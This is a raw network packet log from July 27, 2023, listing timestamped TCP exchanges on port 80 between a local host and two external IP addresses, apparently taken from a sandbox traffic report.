Jul 27, 2023 18:27:10.370275021 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370285988 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370321989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370369911 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370404005 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370417118 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370430946 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370465040 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370511055 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370512009 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370537043 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370559931 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370606899 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370620012 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370654106 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370673895 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370702028 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370748043 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370764971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370796919 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370809078 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370846033 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370886087 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370893002 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370913029 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370940924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.370953083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.370986938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371002913 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371035099 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371043921 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371081114 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371104956 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371128082 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371175051 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371176004 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371176004 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371222019 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371254921 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371268988 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371288061 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371318102 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371346951 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371366024 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371372938 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371414900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371460915 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371470928 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371507883 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371525049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371556044 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371587038 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371603012 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371612072 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371650934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371668100 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371700048 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371735096 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371747971 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371778011 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371795893 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371802092 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371843100 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371889114 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371889114 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371937037 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371943951 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371943951 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.371984959 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.371994019 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372034073 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372046947 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372087002 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372092962 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372134924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372153997 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372184038 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372191906 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372232914 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372245073 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372296095 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372307062 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372354984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372381926 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372402906 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372411966 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372451067 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372466087 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372498989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372512102 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372546911 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372564077 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372594118 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372603893 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372642040 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372658968 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372690916 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372699976 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372736931 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372770071 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372785091 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372795105 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372833014 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372847080 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372880936 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372894049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372931004 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.372946978 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.372977972 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373011112 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373024940 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373035908 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373073101 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373089075 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373121977 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373153925 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373169899 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373183966 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373218060 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373229980 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373265982 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373284101 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373317003 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373327971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373366117 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373380899 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373414040 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373423100 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373461008 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373478889 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373509884 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373521090 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373558998 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.373573065 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373608112 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373622894 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.373656034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373703003 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373734951 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.373748064 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373795986 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373842001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373861074 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.373888016 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373904943 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.373934984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373980999 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.373999119 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374027967 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374074936 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374095917 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374120951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374167919 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374214888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374228001 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374260902 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374306917 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374315977 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374352932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374356985 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374402046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374449968 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374465942 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374495029 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374541998 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374560118 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374588966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374634027 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374680996 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374694109 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374727011 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374766111 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.374789953 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374813080 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.374820948 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.374857903 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.374905109 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.374929905 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.374950886 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.374960899 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.374998093 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.375013113 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.375046015 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.375061035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.375092983 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.375102043 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.375139952 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375154972 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.375188112 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375233889 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375281096 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375293970 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375327110 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375375032 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375408888 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375422001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375436068 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375467062 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375513077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375531912 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375561953 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375607967 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375627041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375653982 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375667095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375704050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375750065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375762939 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375794888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375842094 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375855923 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375889063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375900030 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.375930071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.375976086 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.375989914 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.376020908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.376023054 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376048088 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376069069 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376090050 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376116037 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376162052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376183987 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376209021 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376214027 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376255989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376302958 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376322031 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376327038 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376370907 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376401901 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376420021 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376430035 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376470089 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376514912 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376517057 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376562119 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376564026 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376621962 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376640081 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376668930 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376676083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376676083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376718044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.376758099 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376765966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.376799107 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.376811981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.376857996 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376876116 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.376904964 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376950979 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.376986980 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.376998901 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377018929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377046108 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377053022 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377094984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377114058 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377144098 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377156019 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377188921 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377207994 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377238035 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377285004 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377324104 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377330065 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377378941 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377393007 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377393007 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377425909 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377434969 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377473116 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377486944 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377521992 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377531052 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377568007 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377583027 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377614975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377625942 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377661943 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377676964 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377708912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377726078 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377757072 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377784014 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377803087 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377810955 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377850056 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:10.377862930 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377899885 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.377918005 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:10.377945900 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.377993107 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.377999067 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.377999067 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378038883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378053904 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378084898 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378103971 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378130913 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378176928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378194094 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378223896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378232002 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378271103 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378298998 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378314972 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378340960 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378361940 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378365040 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378407001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378452063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378467083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378467083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378498077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378542900 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378561020 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378591061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378637075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378654003 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378681898 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378715992 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378727913 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378772974 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378782988 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378818035 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378865004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378880978 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378910065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:10.378925085 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:10.378957987 CEST	80	49713	188.114.97.7	192.168.2.4
